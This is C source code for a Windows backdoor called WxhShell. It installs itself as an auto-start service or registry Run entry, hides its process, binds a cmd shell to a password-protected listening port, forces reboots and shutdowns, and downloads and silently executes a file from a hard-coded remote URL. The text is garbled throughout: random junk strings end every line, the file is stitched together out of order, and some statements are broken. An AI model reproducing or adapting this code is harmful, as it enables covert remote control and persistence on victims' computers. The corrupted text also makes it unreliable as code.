    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T*Ge67  
    if(Boot(SHUTDOWN)) 4JXvP1`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -G?IXgG  
    else { fWWB]h  
    closesocket(wsh); GV ) "[O  
    ExitThread(0); }#M>CNi'PU  
    } #H |p)2k  
    break; ?-o_]!*v0/  
    }  )h>dD  
  // 获取shell ]oz>/\!  
  case 's': { ^jb;4nf  
    CmdShell(wsh); x[)]u8^A  
    closesocket(wsh); 9An \uH)mL  
    ExitThread(0); UUbO\_&y  
    break; t>LSP$  
  } ~#VDJ[Z  
  // 退出 P*}aeu&lnD  
  case 'x': { [g: cG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y4 ]5z/  
    CloseIt(wsh); z<^LY]  
    break; s:_j,/H0A}  
    } g] ]6)nT  
  // 离开 =+?OsH v  
  case 'q': { s S3RK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W?!rqo2SP  
    closesocket(wsh); K5^zu`19  
    WSACleanup(); LH @B\ mS  
    exit(1); iFcSz  
    break; ~ Al3Dv9x  
        } }wBpBw2J  
  }  huyfo1(  
  } :i {; 81V  
cBOK@\x:Wi  
  // 提示信息 c05-1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sKs`gi2  
} SS8$.ot  
  } ./.aLTh  
P|lDW|}D@  
  return; G;pmR^  
} IZ^:wIKo{  
3QVUWhJ  
// shell模块句柄 +O8zVWr  
int CmdShell(SOCKET sock) u#y)+A2&!  
{ c3c3T`B  
STARTUPINFO si; 2ve<1+V_  
ZeroMemory(&si,sizeof(si)); Y[>h |@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -`z%<)!Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >o`+j$j  
PROCESS_INFORMATION ProcessInfo; `m#G'E I  
char cmdline[]="cmd"; L})*ck  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x;} 25A|  
  return 0; _(~ E8g  
} UmMu|`  
{ ] 0T  
// 自身启动模式 xC0y2+)|  
int StartFromService(void) R-,L"Vv  
{ ei=u$S.  
typedef struct <}c7E3Uc  
{ vpdPW%B  
  DWORD ExitStatus; :f_oN3F p  
  DWORD PebBaseAddress; 0yMHU[):~  
  DWORD AffinityMask; mMWhUr  
  DWORD BasePriority; 7Lj:m.0O^  
  ULONG UniqueProcessId; n;vZY  
  ULONG InheritedFromUniqueProcessId; >o& %via}  
}   PROCESS_BASIC_INFORMATION; 6CGk*s  
3fZoF`<a  
PROCNTQSIP NtQueryInformationProcess; S5Pn6'w  
W >}T$a}\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g`.H)36  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~ oq.yn/1  
hB aG*J{  
  HANDLE             hProcess; {-]K!tWda  
  PROCESS_BASIC_INFORMATION pbi; H, GnF  
>dw 0@T&p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Vj8-[ww!  
  if(NULL == hInst ) return 0; R3piI&u  
;Oq>c=9%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Fe$o*r,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZJhI|wRwD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T/%Y_.NtU  
\LQZoD?W  
  if (!NtQueryInformationProcess) return 0; %Q.M& U  
RF -c`C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #SI]^T|  
  if(!hProcess) return 0; E&L ml?@  
HB*BL+S06  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'Ce?!U O  
#}~?8/h!  
  CloseHandle(hProcess); 0a@tPskV  
 z.2UZ%:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rxJl;!7G  
if(hProcess==NULL) return 0; [(TmAEON  
I4UsDs*BD  
HMODULE hMod; d>#X+;-k  
char procName[255]; g1y@z8Z{  
unsigned long cbNeeded; h. 4#C}> )  
yiH;fK+x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4"iI3y~Gw  
K)Z~ iBRM  
  CloseHandle(hProcess); At[SkG}b  
9oP  
if(strstr(procName,"services")) return 1; // 以服务启动 a%6=sqxE  
FLkZZ\  
  return 0; // 注册表启动 )?l7I*  
} Qn-nO_JL  
loBW#>  
// 主模块 QC] <`!  
int StartWxhshell(LPSTR lpCmdLine) zJUT<%[U  
{ $`vXI%|.  
  SOCKET wsl; m@L>6;*  
BOOL val=TRUE; yw7bIcs|#b  
  int port=0; meThjCC  
  struct sockaddr_in door; Z R~2Y?Wt9  
Y=<zR9f`  
  if(wscfg.ws_autoins) Install(); #KHj.Vg  
B !rb*"[  
port=atoi(lpCmdLine); "^ dMCS@  
^AZv4H*~  
if(port<=0) port=wscfg.ws_port; P-yVc2YH  
pRsIi_~&  
  WSADATA data; d}Y#l}!E6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sE{5&aCSR  
GH3RRzp r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y[rCF=ZVH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); od,,2pwK+  
  door.sin_family = AF_INET; ! z5c+JqN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,LLx&jS  
  door.sin_port = htons(port); &Akw V-  
jSdC1,wR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !kh:zTP  
closesocket(wsl); <9$Pl%:  
return 1; + I*a=qjq  
} u'T>Y1I  
"dYT>w  
  if(listen(wsl,2) == INVALID_SOCKET) { YETGq-  
closesocket(wsl); W!=ur,F+  
return 1; ).Iifu|ks  
} am| 81)|a  
  Wxhshell(wsl); 7<2^8 `  
  WSACleanup(); ]a*26AbU+  
q8R,#\T*  
return 0; 'fzJw  
zpNt[F?~1  
} ]'>jw#|h  
Go]y{9+(7  
// 以NT服务方式启动 I.SMn,N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GFnwj<V+{  
{ m5P@F@  
DWORD   status = 0; n#4T o;CS  
  DWORD   specificError = 0xfffffff; rV-Xsf7Z  
/P/0\3TCi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lX 50JJwk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6aWnj*dF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `Uvc^  
  serviceStatus.dwWin32ExitCode     = 0; ,Vz-w;oDn  
  serviceStatus.dwServiceSpecificExitCode = 0; "N}MhcdS  
  serviceStatus.dwCheckPoint       = 0; DwTVoCC  
  serviceStatus.dwWaitHint       = 0; 4JH^R^O<n  
U:PtRSdn!b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _tQM<~Y]u\  
  if (hServiceStatusHandle==0) return; l Yj$ 3  
onv0gb/J  
status = GetLastError(); 2@N-#x '  
  if (status!=NO_ERROR) Dj0D.}`~  
{ oXVx9dZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QV#HN"F/K  
    serviceStatus.dwCheckPoint       = 0; uFvR(LDb&g  
    serviceStatus.dwWaitHint       = 0; .i#'IS0c  
    serviceStatus.dwWin32ExitCode     = status; i0?/\@gd  
    serviceStatus.dwServiceSpecificExitCode = specificError; F"23v G>3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N~?#Qh|ZnU  
    return; jPc,+?  
  } :C&6M79k  
p<FqK/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {t]8#[lo  
  serviceStatus.dwCheckPoint       = 0; &$~irI  
  serviceStatus.dwWaitHint       = 0; yi-0CHo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VY=YI}E  
} 8@FgvWC  
M%$- c3x  
// 处理NT服务事件,比如:启动、停止 `C^0YGO%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PT4iy<  
{ h`p=~u +  
switch(fdwControl) QUz4 Kt  
{ cF"}}c1*M  
case SERVICE_CONTROL_STOP: <:StZ{o;  
  serviceStatus.dwWin32ExitCode = 0; * COC&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .GCJA`0h  
  serviceStatus.dwCheckPoint   = 0; nH+wU;M  
  serviceStatus.dwWaitHint     = 0; 8>I4e5Ym  
  { vnlHUQLO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t7e7q"+/  
  } ow'CwOj$  
  return; %w/vKB"nO  
case SERVICE_CONTROL_PAUSE: _]0<G8|Rv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YlZ&4   
  break; @qF:v]=_@  
case SERVICE_CONTROL_CONTINUE: ,"?8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q>G% *?  
  break; 9!dG Xq  
case SERVICE_CONTROL_INTERROGATE: +z~bH!$2  
  break; z6Nz)$!_i  
}; J)H*tzg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "_+8z_  
} p$Floubh]  
+'[/eW  
// 标准应用程序主函数 F84<='K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >YcaFnY  
{ .kfx\,lgm  
Fc^!="H  
// 获取操作系统版本 (L W2S;-  
OsIsNt=GetOsVer(); 4S* X=1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~L_1&q^4!i  
@"aqnj>+  
  // 从命令行安装 (De>k8  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3/,}&SX  
#w!ewCvt  
  // 下载执行文件 *}>)E]O@  
if(wscfg.ws_downexe) { |Rm_8n%m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YQR[0Y&e=  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5YgT*}L+,  
} ZdT-  
py wc~dWvz  
if(!OsIsNt) { :8A@4vMS)?  
// 如果时win9x,隐藏进程并且设置为注册表启动 {WTy/$ Qk  
HideProc(); xg'xuz$U  
StartWxhshell(lpCmdLine); 79+i4(H  
} DjvPeX  
else .OlPVMFt  
  if(StartFromService())  1%";|  
  // 以服务方式启动 )E^Pn|H  
  StartServiceCtrlDispatcher(DispatchTable); 34J*<B[Njo  
else 0~Xt_rN](  
  // 普通方式启动 l,UOP[j  
  StartWxhshell(lpCmdLine); zNg[%{mz  
MIqH%W.r u  
return 0; okO\A^F  
} ]\/"-Y#4Q  
4K|O?MUNS  
\GZ|fmYn  
\0FwxsL  
=========================================== 8zho\'  
mp*?GeV?M  
O;0VKNn['  
`4ti?^BNm  
@qB>qD~WsD  
$s"-r9@q  
" V \/Qik{h  
PlwM3lrj  
#include <stdio.h> R%`fd *g  
#include <string.h> #6C<P!]V  
#include <windows.h> I [n|#N  
#include <winsock2.h> Fv:x>qZr@  
#include <winsvc.h> ^Iqu^n?2.  
#include <urlmon.h> [i_evsUj?  
v]T?xo~@'  
#pragma comment (lib, "Ws2_32.lib") ^E".`~R  
#pragma comment (lib, "urlmon.lib") rkz84wDx  
! iK{q0  
#define MAX_USER   100 // 最大客户端连接数 6d3YLb4M$i  
#define BUF_SOCK   200 // sock buffer "@t bm[  
#define KEY_BUFF   255 // 输入 buffer (#]9{ C;  
& s:\t L  
#define REBOOT     0   // 重启 Yaz/L)Y;R  
#define SHUTDOWN   1   // 关机 f6{.Uq%SGp  
;s+3 #Py  
#define DEF_PORT   5000 // 监听端口 =>@ X+4Kb  
8T Tj<T!N  
#define REG_LEN     16   // 注册表键长度 e2L>"/  
#define SVC_LEN     80   // NT服务名长度 `$3ktQ$  
3r[ s_Y*  
// 从dll定义API O,#,`2Qc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8EBd`kiq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [I7=]X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (B03f$8}*_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gLK0L%"5  
s}bLA>~Ta  
// wxhshell配置信息 $"MGu^0;1  
struct WSCFG { sH]T1z  
  int ws_port;         // 监听端口 LZQG.  
  char ws_passstr[REG_LEN]; // 口令 (i1p6  
  int ws_autoins;       // 安装标记, 1=yes 0=no Nv3u)?A3w  
  char ws_regname[REG_LEN]; // 注册表键名 D Q c pIV  
  char ws_svcname[REG_LEN]; // 服务名 N1" bH~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1-Dw-./N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3\cx(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8/;@4^Ux  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hBhbcWD,ka  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *w}r:04F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $ 'yWg_(  
vI:_bkii  
}; *w/N>:V0p  
N0N%~3  
// default Wxhshell configuration tTh4L8fO  
struct WSCFG wscfg={DEF_PORT, &-m}w:j=  
    "xuhuanlingzhe", QP>F *A  
    1, hf;S#.k  
    "Wxhshell", +RnWeBXAT  
    "Wxhshell", ?8;WP&  
            "WxhShell Service", <;cch6Z  
    "Wrsky Windows CmdShell Service", ,$RXN8x1  
    "Please Input Your Password: ", qLl4t/p  
  1, N2lz {  
  "http://www.wrsky.com/wxhshell.exe", +fq\K]  
  "Wxhshell.exe" f*T}Ov4  
    }; SL +\{V2  
]Rxrt~ ZB  
// 消息定义模块  `YO&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6o*'Q8h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U /xzl4m6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L@f&71  
char *msg_ws_ext="\n\rExit."; ] v:"    
char *msg_ws_end="\n\rQuit."; VFm)!'=I  
char *msg_ws_boot="\n\rReboot..."; K cW 5  
char *msg_ws_poff="\n\rShutdown..."; Q5_,`r`  
char *msg_ws_down="\n\rSave to "; 15%6;K?b  
w{N8Y ~O  
char *msg_ws_err="\n\rErr!"; <N3~X,ch  
char *msg_ws_ok="\n\rOK!"; V}Oz!  O  
KIKIag#  
char ExeFile[MAX_PATH]; ^==Tv+T9U  
int nUser = 0; JOs kf(  
HANDLE handles[MAX_USER]; -lXQQ#V -  
int OsIsNt; <vu~EY0.  
`, 4YPjk^  
SERVICE_STATUS       serviceStatus; 2EO9IxIf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ce719n$   
Z Z c^~  
// 函数声明 D&]xKx  
int Install(void); xn)F(P 0kv  
int Uninstall(void); }iLi5Qkx  
int DownloadFile(char *sURL, SOCKET wsh); \gv-2.,  
int Boot(int flag); )Lk2tvr  
void HideProc(void); k?/!`   
int GetOsVer(void); dKL9}:oUa  
int Wxhshell(SOCKET wsl); z80*Ylx  
void TalkWithClient(void *cs); /q/^B> ]  
int CmdShell(SOCKET sock); Kek %io  
int StartFromService(void); K7/&~;ZwT  
int StartWxhshell(LPSTR lpCmdLine); P2U4,?_e  
?}EWfsA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S&;)F|-q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); > kwhZ/x  
"chf \ -!$  
// 数据结构和表定义 ^x_.3E3Q  
SERVICE_TABLE_ENTRY DispatchTable[] = Z&h:3;  
{ g;:3I\ L  
{wscfg.ws_svcname, NTServiceMain}, G/w@2lYx  
{NULL, NULL} #G\-ftA&  
}; Ki%)LQAg  
D%=&euB  
// 自我安装 ~bis!(}p-  
int Install(void) >4HB~9dKU  
{ cBHUa}:  
  char svExeFile[MAX_PATH]; K)h<#F  
  HKEY key; Wu l8ej:  
  strcpy(svExeFile,ExeFile); %{me<\(  
-x?|[ +%  
// 如果是win9x系统,修改注册表设为自启动 rxZk!- t)L  
if(!OsIsNt) { %:dd#';g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;2^zkmDM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >!c Ff$2'  
  RegCloseKey(key); P E[5oH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )ub!tm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mXsSOAD<  
  RegCloseKey(key); 5bol)Z9BO  
  return 0; YeB C6`7y  
    } {yi!vw  
  } #kJ8 qN  
} O.aAa5^uh  
else { '8I=Tn  
7dlMDHp\Y  
// 如果是NT以上系统,安装为系统服务 rERtOgi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )a+bH</'  
if (schSCManager!=0) Qb;]4[3  
{ "kucFf f  
  SC_HANDLE schService = CreateService kpk ^Uw%f  
  ( FE#| 5;q.  
  schSCManager, ONc#d'-L  
  wscfg.ws_svcname, ]]5(:>l  
  wscfg.ws_svcdisp, F'_z$,X6  
  SERVICE_ALL_ACCESS, .li)k[] ts  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #X6=`Xe#  
  SERVICE_AUTO_START, U)3?&9H  
  SERVICE_ERROR_NORMAL, ;zWiPnX}  
  svExeFile, x26 sH5  
  NULL, HhzPKd  
  NULL, j",*&sy  
  NULL, <&4~Z! O  
  NULL, 3[~LmA  
  NULL _sHeB7K  
  ); dp3TJZ+U  
  if (schService!=0) M2.*]AL  
  { 6O@Lx ]t  
  CloseServiceHandle(schService); l 5f'R  
  CloseServiceHandle(schSCManager); cc"<H}g>`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aQso<oK  
  strcat(svExeFile,wscfg.ws_svcname); q@4Cw&AI+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FE06,i\{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~0vNs2D,S  
  RegCloseKey(key); viVn  
  return 0; R!rMrWX  
    } TdoH(( nY  
  } XW{cC`&  
  CloseServiceHandle(schSCManager); i-x /h -  
} O [=W%2I!i  
} Zh?n;n}  
F<)f&<5E-  
return 1; @Z96902<t  
} 6$fwpW  
gX* &RsF  
// 自我卸载 cr^R9dv  
int Uninstall(void) "7?xaGh8  
{ 1+tPd7U  
  HKEY key; 5)w;0{X!P  
@*$"6!3s5  
if(!OsIsNt) { 7 S%`]M4;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { % <h2^H\O  
  RegDeleteValue(key,wscfg.ws_regname); V. o*`V  
  RegCloseKey(key); ldG$hk'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;47=x1j i  
  RegDeleteValue(key,wscfg.ws_regname); ;uuBX0B  
  RegCloseKey(key); HZ\=NDz  
  return 0; +H!aE}  
  }  GU xhn  
} I#zL-RXT  
} YDEb MEMd/  
else { *#'&a(h B!  
>SD?MW 1E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v\XO?UEJ2  
if (schSCManager!=0) 1ay{uU!EL  
{ L-e6^%eU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vNU[K%U  
  if (schService!=0) fqol-{F.V  
  { D6EqJ,~  
  if(DeleteService(schService)!=0) { AgdU@&^  
  CloseServiceHandle(schService); ulk yP  
  CloseServiceHandle(schSCManager); o* QZf *M  
  return 0; "VAbUs  
  } @9MrTP  
  CloseServiceHandle(schService); -"xC\R  
  } j!a&l  
  CloseServiceHandle(schSCManager); dp:5iuS  
} ?gXdi<2Qn  
} QRER[8]r$  
K*"Fpx{M  
return 1; e4 cWi  
} PC)V".W 1  
PS??wlp7  
// 从指定url下载文件 M5]$w]Ny9  
int DownloadFile(char *sURL, SOCKET wsh) 5eas^Rm  
{ lq27^K  
  HRESULT hr; W1O m$S1  
char seps[]= "/"; @h7 i;Ok  
char *token; }i\_`~  
char *file; 4Y@q.QP  
char myURL[MAX_PATH]; r / L  
char myFILE[MAX_PATH]; zM'2opiUY  
gac/%_-HH7  
strcpy(myURL,sURL); 'Ub\8<HfJU  
  token=strtok(myURL,seps); m] @o1J  
  while(token!=NULL) TI3@/SB>  
  { Q!W+vh  
    file=token; =5h ,ZB2A  
  token=strtok(NULL,seps); M,P:<-J  
  } (m=F  
w{Y:p[}  
GetCurrentDirectory(MAX_PATH,myFILE); rVnolA*%  
strcat(myFILE, "\\"); <P c;8[  
strcat(myFILE, file); 0U:9&j P,  
  send(wsh,myFILE,strlen(myFILE),0); ^^gV@fz  
send(wsh,"...",3,0); 0ac'<;9]zP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "=9)|{=m  
  if(hr==S_OK) @z(s\T  
return 0; m pM,&7}  
else NW?h~2  
return 1; XN'<H(G  
Fi#b0S  
} 6x! q  
q.p.y0  
// 系统电源模块 ,j\UZ  
int Boot(int flag) t$*CyYb{@  
{ {s[,CUL0  
  HANDLE hToken; h/#s\>)T  
  TOKEN_PRIVILEGES tkp; IQ9Rvnna  
==~ lc;  
  if(OsIsNt) { K_BF=C.k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Uj~ :| ?Wz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qg8T}y>  
    tkp.PrivilegeCount = 1; {+|Em(M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `~ R%}ID  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j}$Q`7-wB1  
if(flag==REBOOT) { &0euNHH;sL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i>@"&  
  return 0; @!Q\| <  
} ZN(@M@}  
else { EeS VY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &?yVLft  
  return 0; irzWk3@:  
} o!|TCwt  
  } n6 AP6PK7  
  else { b/'RJQSAc  
if(flag==REBOOT) { q,_ 1?A)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7j\jOkl V  
  return 0; ITEd[ @^d  
} :8Jn?E (36  
else { >*[Bq;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7_AcvsdW  
  return 0; 4[m4u6z=  
} EX,)MU  
} HVcd< :g0  
uVV;"LVK~  
return 1; ] _P!+5]<  
} -$_h]x* W  
WiclG8l  
// win9x进程隐藏模块 8{J{)gF  
void HideProc(void) ai(J%"D"  
{ _#6ekl|%  
Y,C3E>}Dq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !l1ycQM  
  if ( hKernel != NULL ) -<WQ>mrB&  
  { %wS5m#n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EX^j^#N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @K.[;-;g  
    FreeLibrary(hKernel); M\ {W&o1!  
  } c{s%kVOzg  
H-1y2AQ  
return; A{b?ZT~2]  
} Dz>v;%$S-  
X'h J&-[P  
// 获取操作系统版本 w>$2  
int GetOsVer(void) xQ7-4 N,  
{ m>@ *-*8k  
  OSVERSIONINFO winfo; O&u[^s/^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a).bk!G  
  GetVersionEx(&winfo); +MP`iuDO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2kU=9W6ND  
  return 1; Td>Lp=0rU  
  else RA~%Cw4t  
  return 0; ^8r4tX  
} , H_Cn1l  
1]vrpJw  
// 客户端句柄模块 uyITUvPg[  
int Wxhshell(SOCKET wsl) m;d#*}n\p  
{ Jd>"g9  
  SOCKET wsh; /`V:;  
  struct sockaddr_in client; 6Q.6  
  DWORD myID; AHre#$`97  
L0O},O  
  while(nUser<MAX_USER) 7 -hSso.'  
{ S+EC!;@Xg  
  int nSize=sizeof(client); -h<Rby  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SMdQ,n1]  
  if(wsh==INVALID_SOCKET) return 1; amK.H"  
Fn~?YN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _A%8oY S  
if(handles[nUser]==0) >O:j.(*!  
  closesocket(wsh); N\OeWjA F  
else &\, ZtaB  
  nUser++; H%:~&_D  
  } 8'B   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P9aGDma  
"##Ylq("  
  return 0; J9 iQW  
} =c,m)\u/8  
|tU4(hC  
// 关闭 socket J `8bh~7  
void CloseIt(SOCKET wsh) 8UyYN$7V  
{ LL1HDG >l  
closesocket(wsh); T>ds<MaLP  
nUser--; x !o>zT\  
ExitThread(0); F(i@Gm=J]  
} Htf|VpzMb  
j7|r^  
// 客户端请求句柄 ;nbUbRb  
void TalkWithClient(void *cs) yF}l.>7D  
{ BtN@P23>k.  
)wROPA\uA  
  SOCKET wsh=(SOCKET)cs; > ^b6\  
  char pwd[SVC_LEN];  OBCRZ   
  char cmd[KEY_BUFF]; 4M&6q(389  
char chr[1]; M"eiKX  
int i,j; wtDy-H n  
` qqUuFMM  
  while (nUser < MAX_USER) { C=6Vd  
[p+6HF  
if(wscfg.ws_passstr) { O)qedy*&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p9[J 9D3~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); > T,^n {_v  
  //ZeroMemory(pwd,KEY_BUFF); 0b0.xz\~U  
      i=0; K 5SHt'P  
  while(i<SVC_LEN) { d&x1uso%L  
)r#^{{6[v  
  // 设置超时 r1= :B'z  
  fd_set FdRead; ]$'w8<D>t,  
  struct timeval TimeOut; 1} {bHj  
  FD_ZERO(&FdRead); 4$oX,Q`#  
  FD_SET(wsh,&FdRead); 8%s_~Yc  
  TimeOut.tv_sec=8; A3C#w J  
  TimeOut.tv_usec=0; n 4:Yc@,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2V0gj /&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4|*H0}HOm  
MH+t`/E0]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '{:WxGgi  
  pwd=chr[0]; :6 ?&L  
  if(chr[0]==0xd || chr[0]==0xa) { 4%TY` II  
  pwd=0; fCL5Et  
  break; x>^r%<WbX  
  } p xrd D7  
  i++; YH( 54R  
    } z (,%<oX  
VemgG)\  
  // 如果是非法用户,关闭 socket fT-yY`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e5_:15%R\  
} tc%?{W\  
}>\+eG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %G& Zm$u=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !Qu)JR  
:_%  
while(1) { ^h z4IZ^  
gOpGwpYZ,  
  ZeroMemory(cmd,KEY_BUFF);  opK=Z  
G!J{$0.  
      // 自动支持客户端 telnet标准   T.vkGB=QZ%  
  j=0; 1'dL8Y  
  while(j<KEY_BUFF) { 6@TGa%:G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $\xS~ w  
  cmd[j]=chr[0]; ewYZ} "o  
  if(chr[0]==0xa || chr[0]==0xd) { T/#$44ub  
  cmd[j]=0; &y?L^Aq  
  break; FTx&] QN?  
  } Y3+GBqP  
  j++; jFBLElE  
    } 'OKDB7Ni  
5gV%jQgkC  
  // 下载文件 |0vV?f$  
  if(strstr(cmd,"http://")) { Farcd!}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /`YHPeXu  
  if(DownloadFile(cmd,wsh)) #\kYGr-G)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2YD;Gb[8  
  else tl|Qw";I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zk*/~f|\  
